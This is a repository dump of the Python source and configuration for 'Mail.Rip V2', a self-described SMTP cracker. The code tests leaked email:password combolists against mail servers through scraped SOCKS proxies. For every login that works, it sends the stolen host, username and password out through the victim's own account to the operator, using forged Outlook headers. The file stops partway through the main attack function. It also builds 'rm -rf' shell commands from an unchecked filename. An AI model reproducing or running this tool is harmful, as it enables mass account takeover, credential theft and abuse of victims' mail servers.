"recursor.net", 585 | "reliable-mail.com", 586 | "rhyta.com", 587 | "rmqkr.net", 588 | "royal.net", 589 | "rtrtr.com", 590 | "s0ny.net", 591 | "safe-mail.net", 592 | "safersignup.de", 593 | "safetymail.info", 594 | "safetypost.de", 595 | "saynotospams.com", 596 | "schafmail.de", 597 | "schrott-email.de", 598 | "secretemail.de", 599 | "secure-mail.biz", 600 | "senseless-entertainment.com", 601 | "services391.com", 602 | "sharklasers.com", 603 | "shieldemail.com", 604 | "shiftmail.com", 605 | "shitmail.me", 606 | "shitware.nl", 607 | "shmeriously.com", 608 | "shortmail.net", 609 | "sibmail.com", 610 | "sinnlos-mail.de", 611 | "slapsfromlastnight.com", 612 | "slaskpost.se", 613 | "smashmail.de", 614 | "smellfear.com", 615 | "snakemail.com", 616 | "sneakemail.com", 617 | "sneakmail.de", 618 | "snkmail.com", 619 | "sofimail.com", 620 | "solvemail.info", 621 | "sogetthis.com", 622 | "soodonims.com", 623 | "spam4.me", 624 | "spamail.de", 625 | "spamarrest.com", 626 | "spambob.net", 627 | "spambog.ru", 628 | "spambox.us", 629 | "spamcannon.com", 630 | "spamcannon.net", 631 | "spamcon.org", 632 | "spamcorptastic.com", 633 | "spamcowboy.com", 634 | "spamcowboy.net", 635 | "spamcowboy.org", 636 | "spamday.com", 637 | "spamex.com", 638 | "spamfree.eu", 639 | "spamfree24.com", 640 | "spamfree24.de", 641 | "spamfree24.org", 642 | "spamgoes.in", 643 | "spamgourmet.com", 644 | "spamgourmet.net", 645 | "spamgourmet.org", 646 | "spamherelots.com", 647 | "spamhereplease.com", 648 | "spamhole.com", 649 | "spamify.com", 650 | "spaml.de", 651 | "spammotel.com", 652 | "spamobox.com", 653 | "spamslicer.com", 654 | "spamspot.com", 655 | "spamthis.co.uk", 656 | "spamtroll.net", 657 | "speed.1s.fr", 658 | "spoofmail.de", 659 | "stuffmail.de", 660 | "super-auswahl.de", 661 | "supergreatmail.com", 662 | "supermailer.jp", 663 | "superrito.com", 664 | "superstachel.de", 665 | "suremail.info", 666 | "talkinator.com", 667 | "teewars.org", 668 | "teleworm.com", 669 | "teleworm.us", 670 | "temp-mail.org", 671 | "temp-mail.ru", 672 | "tempe-mail.com", 673 | "tempemail.co.za", 674 | "tempemail.com", 675 | "tempemail.net", 676 | "tempinbox.co.uk", 677 | "tempinbox.com", 678 | "tempmail.eu", 679 | "tempmaildemo.com", 680 | "tempmailer.com", 681 | "tempmailer.de", 682 | "tempomail.fr", 683 | "temporaryemail.net", 684 | "temporaryforwarding.com", 685 | "temporaryinbox.com", 686 | "temporarymailaddress.com", 687 | "tempthe.net", 688 | "thankyou2010.com", 689 | "thc.st", 690 | "thelimestones.com", 691 | "thisisnotmyrealemail.com", 692 | "thismail.net", 693 | "throwawayemailaddress.com", 694 | "tilien.com", 695 | "tittbit.in", 696 | "tizi.com", 697 | "tmailinator.com", 698 | "toomail.biz", 699 | "topranklist.de", 700 | "tradermail.info", 701 | "trash-mail.at", 702 | "trash-mail.com", 703 | "trash-mail.de", 704 | "trash2009.com", 705 | "trashdevil.com", 706 | "trashemail.de", 707 | "trashmail.at", 708 | "trashmail.com", 709 | "trashmail.de", 710 | "trashmail.me", 711 | "trashmail.net", 712 | "trashmail.org", 713 | "trashymail.com", 714 | "trialmail.de", 715 | "trillianpro.com", 716 | "twinmail.de", 717 | "tyldd.com", 718 | "uggsrock.com", 719 | "umail.net", 720 | "uroid.com", 721 | "us.af", 722 | "venompen.com", 723 | "veryrealemail.com", 724 | "viditag.com", 725 | "viralplays.com", 726 | "vpn.st", 727 | "vsimcard.com", 728 | "vubby.com", 729 | "wasteland.rfc822.org", 730 | "webemail.me", 731 | "weg-werf-email.de", 732 | "wegwerf-emails.de", 733 | "wegwerfadresse.de", 734 | "wegwerfemail.com", 735 | "wegwerfemail.de", 736 | "wegwerfmail.de", 737 | "wegwerfmail.info", 738 | "wegwerfmail.net", 739 | "wegwerfmail.org", 740 | "wh4f.org", 741 | "whyspam.me", 742 | "willhackforfood.biz", 743 | "willselfdestruct.com", 744 | "winemaven.info", 745 | "wronghead.com", 746 | "x.ip6.li", 747 | "xagloo.com", 748 | "xemaps.com", 749 | "xents.com", 750 | "xmaily.com", 751 | "xoxy.net", 752 | "yep.it", 753 | "yogamaven.com", 754 | "yopmail.com", 755 | "yopmail.fr", 756 | "yopmail.net", 757 | "yourdomain.com", 758 | "yuurok.com", 759 | "z1p.biz", 760 | "za.com", 761 | "zehnminuten.de", 762 | "zehnminutenmail.de", 763 | "zippymail.info", 764 | "zoemail.net", 765 | "zomg.info" 766 | ], 767 | "socks4sources": [ 768 | "https://www.proxyscan.io/api/proxy?format=txt&type=socks4&limit=20", 769 | "https://api.proxyscrape.com?request=displayproxies&proxytype=socks4&timeout=500", 770 | "https://www.proxy-list.download/api/v1/get?type=socks4", 771 | "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt" 772 | ], 773 | "socks5sources": [ 774 | "https://www.proxyscan.io/api/proxy?format=txt&type=socks5&limit=20", 775 | "https://api.proxyscrape.com?request=displayproxies&proxytype=socks5&timeout=1000", 776 | "https://www.proxy-list.download/api/v1/get?type=socks5", 777 | "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt" 778 | ], 779 | "emailcontent": { 780 | "first1":"hello and thank you for using mailrip.", 781 | "first2":"this message has been sent by mailrip.", 782 | "first3":"here is another result from mailrip.", 783 | "first4":"this is a new result sent to you by mailrip inbox check.", 784 | "first5":"you received this message because of a new result.", 785 | "second1":"the following smtp has been proved working.", 786 | "second2":"the information below has been verified for sending emails.", 787 | "second3":"you can grab the data of the found smtp below.", 788 | "second4":"the tool has found the following active smtp for you.", 789 | "second5":"see the information below for further details.", 790 | "last1":"check the results directory for the textfile for more data.", 791 | "last2":"moreover, this data has been saved to the results directory.", 792 | "last3":"these details have been saved to the valid.txt, too.", 793 | "last4":"you can get a textfile containing all smtp from the results directory.", 794 | "last5":"check the results directory for more smtp accounts." 795 | } 796 | } 797 | -------------------------------------------------------------------------------- /MailRipV2.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ### LEGAL NOTICES ### 6 | 7 | You are only allowed to use the following code for educational 8 | purposes! Mail.Rip v2.1337 shall not be used for any kind of 9 | illegal activity nor law enforcement at any time. 10 | This restriction applies to all cases of usage, no matter whether 11 | the code as a whole or only parts of it are being used. 12 | 13 | ### END OF LEGAL NOTICES ### 14 | 15 | +-------------------------------------------------------------------+ 16 | | PROJECT: Mail.Rip V2.1337 | 17 | | DESCRIPTION: SMTP checker / SMTP cracker for mailpass combolists | 18 | | RELEASE: X (final version, 2021-03-27) | 19 | | AUTHORS: DrPython3 @ GitHub.com & Nexus @ github.com | 20 | +===================================================================+ 21 | | Based on Mail.Rip V1, this is the new and improved version. | 22 | | It is still a SMTP checker / SMTP cracker testing your mailpass | 23 | | combolists for working SMTP accounts. Nevertheless, the code has | 24 | | been cleaned, improved and commented. | 25 | | Mail.Rip V2 is faster and more reliable, still providing support | 26 | | for SOCKS4 / SOCKS5 proxys and verifying working email delivery | 27 | | for every valid SMTP login being found. | 28 | +-------------------------------------------------------------------+ 29 | | | 30 | | SUPPORT THIS PROJECT: BUY ME A COFFEE OR DONATE! | 31 | | | 32 | | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 | 33 | | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 | 34 | | | 35 | | All donations are appreciated - coffee even more. | 36 | | | 37 | +-------------------------------------------------------------------+ 38 | ''' 39 | 40 | # [*** Python Modules ***] 41 | # ######################## 42 | import sys 43 | try: 44 | import os 45 | import smtplib 46 | import socket 47 | import ssl 48 | import threading 49 | import json 50 | import re 51 | import uuid 52 | import socks 53 | import requests 54 | import certifi 55 | import dns.resolver 56 | from tqdm import tqdm 57 | from time import sleep 58 | from email.message import EmailMessage 59 | from random import randint 60 | from queue import Queue 61 | from colorama import Fore, init 62 | except Exception: 63 | sys.exit('[ERROR] Cannot import the needed Python modules!' + '\nCheck dependencies and start Mail.Rip v2 again.\n\n') 64 | 65 | # initialize colorama: 66 | init(autoreset=True) 67 | 68 | # [*** Variables, Lists, Dictionaries ***] 69 | # ######################################## 70 | locker = threading.Lock() 71 | attack_queue = Queue() 72 | 73 | default_timeout = float(3.0) 74 | default_threads = int(9) 75 | default_blacklist = True 76 | attacker_mail = 'invalid@mail.sad' 77 | 78 | use_socks = False 79 | type_socks = 'SOCKS4' 80 | amount_socks = int(0) 81 | socksproxys = [] 82 | 83 | count_threads = int(0) 84 | combos = [] 85 | targetsleft = int(0) 86 | hits = int(0) 87 | emailssent = int(0) 88 | fails = int(0) 89 | 90 | # lists, dictionaries from library.json: 91 | try: 92 | with open('library.json') as included_imports: 93 | jsonobj = json.load(included_imports) 94 | smtpdomains = (jsonobj['smtpdomains']) 95 | smtpports = (jsonobj['smtpports']) 96 | commonports = (jsonobj['commonports']) 97 | hosterblacklist = (jsonobj['hosterblacklist']) 98 | socks4sources = (jsonobj['socks4sources']) 99 | socks5sources = (jsonobj['socks5sources']) 100 | emailcontent = (jsonobj['emailcontent']) 101 | except Exception: 102 | sys.exit(Fore.RED + '\n\n[ERROR] File "library.json" not found! \nCheck the file and start Mail.Rip V2 again.\n\n') 103 | 104 | 105 | # [*** Functions ***] 106 | # ################### 107 | def clean(): 108 | ''' 109 | Blank screen on purpose. 110 | 111 | :return: None 112 | ''' 113 | 114 | if os.name == 'nt': os.system('cls') 115 | else: os.system('clear') 116 | 117 | return None 118 | 119 | 120 | def countdown(x: int): 121 | ''' 122 | Simple countdown from "x". 123 | 124 | :param int x: countdown start 125 | :return: None 126 | ''' 127 | 128 | i = int(x) 129 | while i > 0: 130 | if i < 3: print(Fore.RED + f'... {str(i)}') 131 | elif i < 4: print(Fore.YELLOW + f'... {str(i)}') 132 | else: print(Fore.GREEN + f'... {str(i)}') 133 | 134 | sleep(0.95) 135 | i -= 1 136 | 137 | return None 138 | 139 | 140 | def writer(text: str, ftype: str): 141 | ''' 142 | Saves any content to a TXT-file. 143 | 144 | :param str text: content to save 145 | :param str type: filename 146 | :return: True, False 147 | ''' 148 | 149 | # create missing directory: 150 | try: 151 | if not os.path.isdir('results'): 152 | os.makedirs('results') 153 | except Exception: 154 | sys.exit('[ERROR] Failed to create directory for results! \nCreate the folder yourself, and retry.\n\n') 155 | 156 | try: 157 | # set filename and path: 158 | file_name = str(f'{ftype}.txt') 159 | targetfile = os.path.join('results', file_name) 160 | 161 | # edit file: 162 | with open(str(targetfile), 'a+') as output_file: 163 | output_file.write(f'{text}\n') 164 | 165 | return True 166 | except Exception: 167 | return False 168 | 169 | 170 | def emailverify(email): 171 | ''' 172 | Verifies format of an email address. 173 | 174 | :param str email: email address 175 | :return: True, False 176 | ''' 177 | 178 | email_regex = r'^([\w\.\-]+)@([\w\-]+)((\.(\w){2,63}){1,3})$' 179 | # verification: 180 | return re.search(email_regex, email) 181 | 182 | 183 | def setdefaults(): 184 | ''' 185 | Set / change default values for attacks. 186 | 187 | :return: True, False 188 | ''' 189 | 190 | global test_deliver 191 | global default_threads 192 | global default_timeout 193 | global default_blacklist 194 | global attacker_mail 195 | 196 | defaults_changed = int(0) 197 | clean() 198 | 199 | print(Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | EDIT DEFAULT VALUES:\n' + '-'*44 + '\n') 200 | 201 | # enable/disable test email sending 202 | try: 203 | should_we = input(Fore.RESET + '\nSend test email? (yes / no) ' + Fore.YELLOW).lower() 204 | test_deliver = True if should_we.startswith('y') else False 205 | defaults_changed += 1 206 | except: 207 | test_deliver = False 208 | print(Fore.RED + f'\nNo change, test email won\'t be sent.\n') 209 | 210 | # set amount of threads: 211 | try: 212 | default_threads = int(input(Fore.RESET + '\nEnter amount of threads to use:\n' + Fore.YELLOW)) 213 | print(Fore.GREEN + f'\nThreads set to {str(default_threads)}.\n') 214 | defaults_changed += 1 215 | except Exception: 216 | default_threads = 9 217 | print(Fore.RED + f'\nNo change, Mail.Rip V2 will use {str(default_threads)} threads.\n') 218 | 219 | # set default timeout: 220 | try: 221 | default_timeout = float(input(Fore.RESET + '\nEnter value for timeout:\n' + Fore.YELLOW)) 222 | print(Fore.GREEN + f'\nTimeout set to {str(default_timeout)}.\n') 223 | defaults_changed += 1 224 | except Exception: 225 | default_timeout = float(3.0) 226 | print(Fore.RED + f'\nNo change, timeout remains {str(default_timeout)}.\n') 227 | 228 | # de-/activate domain blacklist: 229 | try: 230 | blacklist = str(input(Fore.RESET + '\nUse blacklist for email domains:\n(yes / no) ' + Fore.YELLOW)).lower() 231 | if blacklist.startswith('n'): 232 | default_blacklist = False 233 | print(Fore.RED + '\nBlacklist for email domains deactivated.\n') 234 | defaults_changed +=1 235 | else: 236 | default_blacklist = True 237 | print(Fore.GREEN + '\nBlacklist for email domains remains activated.\n') 238 | except Exception: 239 | pass 240 | 241 | if test_deliver: 242 | # set user e-mail address: 243 | try: 244 | new_mail = str(input('\nEnter YOUR email for delivery test:\n' + Fore.YELLOW)) 245 | verified = emailverify(str(new_mail)) 246 | 247 | if verified: 248 | attacker_mail = str(new_mail) 249 | print(Fore.GREEN + f'\nEmail for delivery test set to: {str(attacker_mail)}.\n') 250 | defaults_changed += 1 251 | else: 252 | attacker_mail = str('invalid@mail.sad') 253 | print(Fore.RED + '\nNo valid email set for delivery test.\n') 254 | 255 | except Exception: 256 | attacker_mail = str('invalid@mail.sad') 257 | print(Fore.RED + '\nNo valid email set for delivery test.\n') 258 | 259 | if defaults_changed > 0: 260 | return True 261 | else: 262 | return False 263 | 264 | 265 | def proxychecker(): 266 | ''' 267 | Verifies scraped proxys are working. 268 | 269 | :return: None 270 | ''' 271 | clean() 272 | valid_proxys = int(0) 273 | 274 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) 275 | context.options &= ~ssl.OP_NO_SSLv2 # disables SSL v2 276 | context.options &= ~ssl.OP_NO_SSLv3 # disables SSL v3 277 | context.options &= ~ssl.OP_ALL # workarounds for bugs 278 | 279 | context.check_hostname = False 280 | context.verify_mode = ssl.CERT_NONE 281 | 282 | print(Fore.YELLOW + '\n\nChecking scraped proxys now ...\n') 283 | try: 284 | with open('proxys.txt', 'r+') as checked: 285 | # read scraped proxys: 286 | proxy_checks = checked.readlines() 287 | checked.seek(0) 288 | 289 | for proxy in tqdm(proxy_checks, desc='Checked'): 290 | try: 291 | # get IP and port: 292 | check_ip = str(str(proxy).split(':')[0]) 293 | check_port = int(str(proxy).split(':')[1]) 294 | # set prroxy: 295 | if type_socks == 'SOCKS4': 296 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, check_ip, check_port) 297 | else: 298 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, check_ip, check_port) 299 | 300 | socks.socket.setdefaulttimeout(float(1.0)) 301 | socks.wrapmodule(smtplib) 302 | 303 | # establish SMTP connection: 304 | checker_connection = smtplib.SMTP_SSL(host=str('smtp.gmail.com'), 305 | port=int(465), 306 | timeout=float(2.0), 307 | context=context) 308 | 309 | 310 | # send cmd and verify by status code: 311 | test = checker_connection.noop() 312 | checker_connection.quit() 313 | 314 | # if status code ok, save proxy: 315 | if re.search('250', str(test)): 316 | valid_proxys += 1 317 | checked.write(proxy) 318 | 319 | # else drop proxy from list: 320 | else: 321 | pass 322 | 323 | except Exception: 324 | pass 325 | 326 | checked.truncate() 327 | 328 | if valid_proxys > 0: print(Fore.GREEN + f'\nWorking {type_socks}-proxys found: {str(valid_proxys)}') 329 | else: pass 330 | except Exception: 331 | print(Fore.RED + '[ERROR] Checking scraped proxys failed ...') 332 | 333 | return None 334 | 335 | 336 | def proxysupport(): 337 | ''' 338 | De- / activate proxy-support including scraper and checker. 339 | 340 | :return: True, False 341 | ''' 342 | global use_socks 343 | global type_socks 344 | global amount_socks 345 | global socksproxys 346 | 347 | ip_regex = r'(?:[0-9]{1,3}\.){3}[0-9]{1,3}(:[0-9]{1,5})' 348 | clean() 349 | 350 | # de- / activate proxy-support: 351 | print(Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | DE-/ACTIVATE PROXY-SUPPORT:\n' + '-'*51 + '\n\n') 352 | new_use = str(input('Activate proxy-support?\n(yes / no) ' + Fore.YELLOW)) 353 | if new_use in ['y', 'ye', 'yes']: 354 | use_socks = True 355 | else: 356 | pass 357 | 358 | # if activated, set proxy-type: 359 | if use_socks: 360 | new_type = str(input(Fore.WHITE + '\n\nType of proxys to use?\n(SOCKS4 / SOCKS5) ' + Fore.YELLOW)).lower() 361 | 362 | if new_type in ['5', 's5', 'sock5', 'socks5']: 363 | type_socks = 'SOCKS5' 364 | print(Fore.GREEN + '\n\nProxy-support << ACTIVATED >> using SOCKS5 proxys.') 365 | else: 366 | print(Fore.GREEN + '\n\nProxy-support << ACTIVATED >> using SOCKS4 proxys.') 367 | 368 | # if deactivated, end function: 369 | else: return False 370 | 371 | # get proxy sources: 372 | if type_socks == 'SOCKS4': sources = socks4sources 373 | else: sources = socks5sources 374 | 375 | # start scraping: 376 | print(Fore.YELLOW + f'\n\nScraping {type_socks}-proxys (...)') 377 | socket.setdefaulttimeout(default_timeout) 378 | 379 | s = requests.session() 380 | for source in sources: 381 | try: 382 | scraped = s.get(source, headers={'User-Agent': 'MailRip/2.1337 (https://github.com/DrPython3/MailRipV2)'}) 383 | 384 | # saved to temporary txt-file: 385 | with open('scraped.txt', 'a') as output_file: 386 | output_file.write(str(scraped.text.decode('utf-8').rstrip())) 387 | print(Fore.GREEN + f'Scraped: {str(source)}') 388 | 389 | except Exception: 390 | print(Fore.RED + f'Scraping failed for: {str(source)}') 391 | continue 392 | 393 | # clean up scraped data: 394 | print(Fore.YELLOW + '\n\nRemoving unwanted text from results ...') 395 | try: 396 | 397 | with open('scraped.txt', 'r+') as scraped_data: 398 | valid_proxy = scraped_data.readlines() 399 | scraped_data.seek(0) 400 | 401 | for line in valid_proxy: 402 | # verify IP format: 403 | if re.search(ip_regex, line): 404 | scraped_data.write(line) 405 | 406 | scraped_data.truncate() 407 | print(Fore.GREEN + 'Unwanted text removed successfully.') 408 | 409 | except Exception: 410 | print(Fore.RED + 'Removing unwanted text failed.') 411 | 412 | # remove duplicates: 413 | print(Fore.YELLOW + '\n\nRemoving duplicates from results ...') 414 | try: 415 | unique_proxys = set() 416 | with open('proxys.txt', 'w') as cleaned: 417 | for line in open('scraped.txt', 'r'): 418 | if line not in unique_proxys: 419 | cleaned.write(line) 420 | unique_proxys.add(line) 421 | print(Fore.GREEN + 'Duplicates successfully removed.') 422 | except Exception: 423 | print(Fore.RED + 'Removing duplicates failed.') 424 | 425 | try: 426 | skip_check = str(input(Fore.WHITE + '\n\nSkip proxy checker?\n(yes / no) ' + Fore.YELLOW)) 427 | if skip_check.lower() in ['y', 'ye', 'yes']: pass 428 | else: 429 | proxychecker() 430 | print(Fore.GREEN + '\n\nScraped proxys have been checked!') 431 | sleep(3.0) 432 | 433 | except Exception: 434 | pass 435 | 436 | # load proxys into list: 437 | print(Fore.YELLOW + '\n\nLoading proxys into global list ...') 438 | try: 439 | socksproxys = open('proxys.txt', 'r').read().splitlines() 440 | amount_socks = int(len(socksproxys)) 441 | print(Fore.GREEN + 'Proxys loaded into global list.') 442 | # delete temporary files: 443 | if os.name == 'nt': 444 | os.system('del proxys.txt') 445 | os.system('del scraped.txt') 446 | else: 447 | os.system('rm proxys.txt') 448 | os.system('rm scraped.txt') 449 | return True 450 | except Exception: 451 | print(Fore.RED + '[ERROR] Loading proxys failed!\nProxy-support is deactivated for your attacks.') 452 | use_socks = False 453 | return False 454 | 455 | 456 | def getrandomproxy(): 457 | ''' 458 | Provides a randomly chosen proxy. 459 | 460 | :return: proxy-ip 461 | ''' 462 | x = randint(0, int(amount_socks)) 463 | proxy = str(socksproxys[int(x)]) 464 | return proxy 465 | 466 | 467 | def blacklistcheck(domain): 468 | ''' 469 | Checks blacklist for given e-mail domain. 470 | 471 | :param str domain: e-mail domain 472 | :return: True, False 473 | ''' 474 | try: 475 | x = int(hosterblacklist.count(str(domain))) 476 | if x == 0: 477 | return False 478 | else: 479 | return True 480 | except Exception: 481 | print(Fore.RED + f'Blacklist check failed for: {str(domain)} ...') 482 | return False 483 | 484 | 485 | def mxlookup(worker_name, domain): 486 | ''' 487 | Looks up SMTP host in MX records of e-mail domain. 488 | 489 | :param str worker_name: thread ID 490 | :param str domain: e-mail domain 491 | :return: found_host 492 | ''' 493 | socket.setdefaulttimeout(float(default_timeout)) 494 | domain_regex = r'^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$' 495 | found_host = str('no_host_found') 496 | 497 | # set up resolver: 498 | lookup = dns.resolver.Resolver(configure=False) 499 | 500 | # use Cloudflare's DNS servers: 501 | lookup.nameservers = ['1.1.1.1', '1.0.0.1'] 502 | 503 | # start lookup: 504 | try: 505 | with locker: 506 | print(Fore.WHITE 507 | + f'[{str(worker_name)}]: Looking up SMTP-host in MX records of {str(domain)}') 508 | 509 | raw_result = lookup.resolve(str(domain), 'MX') 510 | 511 | # get first result: 512 | mx_host = str(raw_result[0]).split(' ')[1].rstrip('.') 513 | if re.search(domain_regex, mx_host): 514 | # if format is verified, set found_host: 515 | found_host = str(mx_host) 516 | 517 | # else get second result: 518 | else: 519 | mx_host = str(raw_result[1]).split(' ')[1].rstrip('.') 520 | if re.search(domain_regex, mx_host): 521 | found_host = str(mx_host) 522 | else: 523 | with locker: 524 | print(Fore.RED 525 | + f'[{str(worker_name)}]: No SMTP-host found in MX records of {str(domain)}') 526 | return found_host 527 | 528 | # return found host, else "no_host_found": 529 | with locker: 530 | print(Fore.GREEN 531 | + f'[{str(worker_name)}]: SMTP-host {str(found_host)} found in MX records of {str(domain)}') 532 | return found_host 533 | 534 | except Exception: 535 | with locker: 536 | print(Fore.RED + f'[{str(worker_name)}]: No SMTP-host found in MX records of {str(domain)}') 537 | return found_host 538 | 539 | 540 | def unknownport(worker_name, smtphost): 541 | ''' 542 | Looks for unknown port by trying most common ones. 543 | 544 | :param str worker_name: thread ID 545 | :param str smtphost: host with unknown port 546 | :return: found_port 547 | ''' 548 | found_port = int(0) 549 | unkportssl = ssl.create_default_context() 550 | with locker: 551 | print(Fore.WHITE + f'[{str(worker_name)}]: Searching connection port of {str(smtphost)}') 552 | 553 | for port in commonports: 554 | # get port to test: 555 | test_port = int(port) 556 | try: 557 | # set up a random proxy if activated: 558 | if use_socks: 559 | proxy_ip, proxy_port = str(getrandomproxy()).split(':') 560 | 561 | if type_socks == 'SOCKS4': socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, proxy_ip, proxy_port) 562 | else: socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, proxy_ip, proxy_port) 563 | 564 | socks.socket.setdefaulttimeout(float(default_timeout)) 565 | socks.wrapmodule(smtplib) 566 | 567 | # else, set default timeout: 568 | else: 569 | socket.setdefaulttimeout(float(default_timeout)) 570 | 571 | # try connection: 572 | try: 573 | # try SSL-connection for port 465: 574 | if int(test_port) == 465: connection = smtplib.SMTP_SSL(smtphost, test_port, timeout=default_timeout, context=unkportssl) 575 | else: 576 | # try standard connection for other ports: 577 | connection = smtplib.SMTP(smtphost, test_port, timeout=default_timeout) 578 | 579 | connection.quit() 580 | except Exception: 581 | continue 582 | 583 | with locker: 584 | print(Fore.GREEN + f'[{str(worker_name)}]: successfully connected to {str(smtphost)}:{str(test_port)}') 585 | 586 | found_port = int(test_port) 587 | break 588 | except Exception: 589 | continue 590 | return found_port 591 | 592 | 593 | def deliverytest(smtphost, smtpport, smtpuser, smtppass, smtpemail, proxyip, proxyport): 594 | ''' 595 | Tries to send emails using found SMTP logins. 596 | 597 | :param str smtphost: SMTP address 598 | :param int smtpport: SMTP connection port 599 | :param str smtpuser: SMTP username 600 | :param str smtppass: SMTP password 601 | :param str smtpemail: SMTP email address 602 | :param str proxyip: SOCKS-proxy IP 603 | :param int proxyport: SOCKS-proxy port 604 | :return: True, False 605 | ''' 606 | 607 | global emailssent 608 | emailssl = ssl.create_default_context() 609 | 610 | # set proxy if activated: 611 | if use_socks: 612 | if type_socks == 'SOCKS4': 613 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, proxyip, proxyport) 614 | else: 615 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, proxyip, proxyport) 616 | 617 | socks.socket.setdefaulttimeout(default_timeout) 618 | socks.wrapmodule(smtplib) 619 | 620 | else: 621 | socket.setdefaulttimeout(default_timeout) 622 | 623 | try: 624 | # get random email content: 625 | 626 | first_text = 'first' + str(randint(1, 5)) 627 | second_text = 'second' + str(randint(1, 5)) 628 | last_text = 'last' + str(randint(1, 5)) 629 | first_line = str(emailcontent[first_text]) 630 | second_line = str(emailcontent[second_text]) 631 | last_line = str(emailcontent[last_text]) 632 | 633 | # set up email letter: 634 | email_content = str( 635 | first_line + '\n' 636 | + second_line + '\n\n' 637 | + f'email address: {smtpemail}\n' 638 | + f'smtp host: {smtphost}:{str(smtpport)}\n' 639 | + f'smtp user: {smtpuser}\n' 640 | + f'smtp password: {smtppass}\n\n' 641 | + last_line + '\n' 642 | ) 643 | # generate random ID: 644 | 645 | randomid = str(uuid.uuid4().hex)[0:6].upper() 646 | 647 | # generate email: 648 | letter = EmailMessage() 649 | letter.add_header('Subject', str(f'id {randomid} test result')) 650 | letter.add_header('From', str(f'MailRipV2 <{smtpemail}>')) 651 | letter.add_header('To', str(f'MailRip User <{attacker_mail}>')) 652 | letter.add_header('Reply-To', smtpemail) 653 | letter.add_header('MIME-Version', '1.0') 654 | letter.add_header('Content-Type', 'text/plain;charset=UTF-8') 655 | letter.add_header('X-Priority', '1') 656 | letter.add_header('X-MSmail-Priority', 'High') 657 | letter.add_header('X-Mailer', 'Microsoft Office Outlook, Build 17.551210') 658 | letter.add_header('X-MimeOLE', 'Produced By Microsoft MimeOLE V6.00.3790.1830') 659 | letter.set_content(email_content) 660 | 661 | except Exception: 662 | return False 663 | 664 | try: 665 | # connect to SMTP and send email: 666 | if smtpport == 465: victim = smtplib.SMTP_SSL(smtphost, smtpport, timeout=float(60.0), context=emailssl) 667 | else: 668 | victim = smtplib.SMTP(smtphost, smtpport, timeout=float(60.0)) 669 | try: 670 | victim.ehlo() 671 | victim.starttls(context=emailssl) 672 | victim.ehlo() 673 | except Exception: 674 | pass 675 | 676 | victim.login(smtpuser, smtppass) 677 | victim.send_message(letter, from_addr=smtpemail, to_addrs=[attacker_mail]) 678 | victim.quit() 679 | # return True for sent emails: 680 | emailssent += 1 681 | 682 | return True 683 | 684 | except Exception: 685 | return False 686 | 687 | 688 | def comboloader(): 689 | ''' 690 | Loads combos from file. 691 | 692 | :return: True, False 693 | ''' 694 | 695 | global combos 696 | clean() 697 | 698 | print(Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | COMBOLOADER:\n' + '-'*36 + '\n\n') 699 | 700 | # get filename of combosource: 701 | input_file = str(input('Enter file with combos, e.g. combos.txt:\n' + Fore.YELLOW)) 702 | if input_file == '': return False 703 | else: 704 | print(Fore.WHITE + f'\nReading and preparing combos from file: {input_file}') 705 | 706 | # read, prepare and load combos: 707 | try: 708 | 709 | # -- STEP 1 -- 710 | # create temporary file for cleaned combos: 711 | with open('targets_temp.txt', 'w') as temp_file: 712 | for line in open(input_file, 'r'): 713 | 714 | # replace common separators with ":" 715 | line = str(line).replace(';', ':').replace('|', ':').replace(',', ':') 716 | 717 | # verify format of email address: 718 | verify_email = str(line.split(':')[0]) 719 | result_verify = emailverify(verify_email) 720 | 721 | if not result_verify: continue 722 | else: pass 723 | 724 | # check blacklist for email domain: 725 | if default_blacklist: 726 | blacklist_domain = str(verify_email.split('@')[1]) 727 | blacklist_result = blacklistcheck(blacklist_domain) 728 | 729 | if blacklist_result: 730 | print(Fore.RED + f'Blacklist Check: {blacklist_domain} [FAILED], ' + f'skipping target {verify_email}') 731 | # if blacklisted, save to blacklisted-file: 732 | writer(line.rstrip(), str('__blacklisted__')) 733 | continue 734 | 735 | else: pass 736 | 737 | else: pass 738 | 739 | # save cleaned combos: 740 | temp_file.write(line) 741 | 742 | # -- STEP 2 -- 743 | # create object for caching: 744 | combos_cleaned = set() 745 | 746 | # create file for fully cleaned combos: 747 | with open('targets.txt', 'w') as output_file: 748 | for line in open(str('targets_temp.txt'), 'r'): 749 | 750 | # check whether combo us unique: 751 | if line not in combos_cleaned: 752 | # if unique, save to file: 753 | output_file.write(line) 754 | combos_cleaned.add(line) 755 | 756 | else: continue 757 | 758 | try: del combos_cleaned 759 | except Exception: pass 760 | 761 | # -- STEP 3 -- 762 | # load combos into cache: 763 | combos = open('targets.txt', 'r').read().splitlines() 764 | 765 | # delete temporary and combofiles: 766 | save = input(Fore.RESET + '\nKeep combolist? (yes / no) ' + Fore.YELLOW).lower() 767 | try: 768 | if save.startswith('n'): # remove combofile 769 | os.system(('del ' if os.name == 'nt' else 'rm -rf ') + input_file) 770 | os.system(('del ' if os.name == 'nt' else 'rm -rf ') + 'targets_temp.txt') 771 | except Exception: 772 | print(Fore.RED + '\nFailed to remove temporary files.\n') 773 | 774 | # return True for at least one combo loaded: 775 | if int(len(combos)) > 0: return True 776 | else: 777 | print(Fore.RED + '\nNo combos loaded.') 778 | return False 779 | except Exception: return False 780 | 781 | 782 | def attacker(attackid, target): 783 | ''' 784 | The full attack on each target. 785 | 786 | :param str attackid: thread ID 787 | :param str target: combo 788 | :return: True, False 789 | ''' 790 | global hits 791 | # set attacker ID: 792 | attacker_id = str(f'ATTACKER-{str(attackid)}') 793 | attackerssl = ssl.create_default_context() 794 | try: 795 | # reset variables: 796 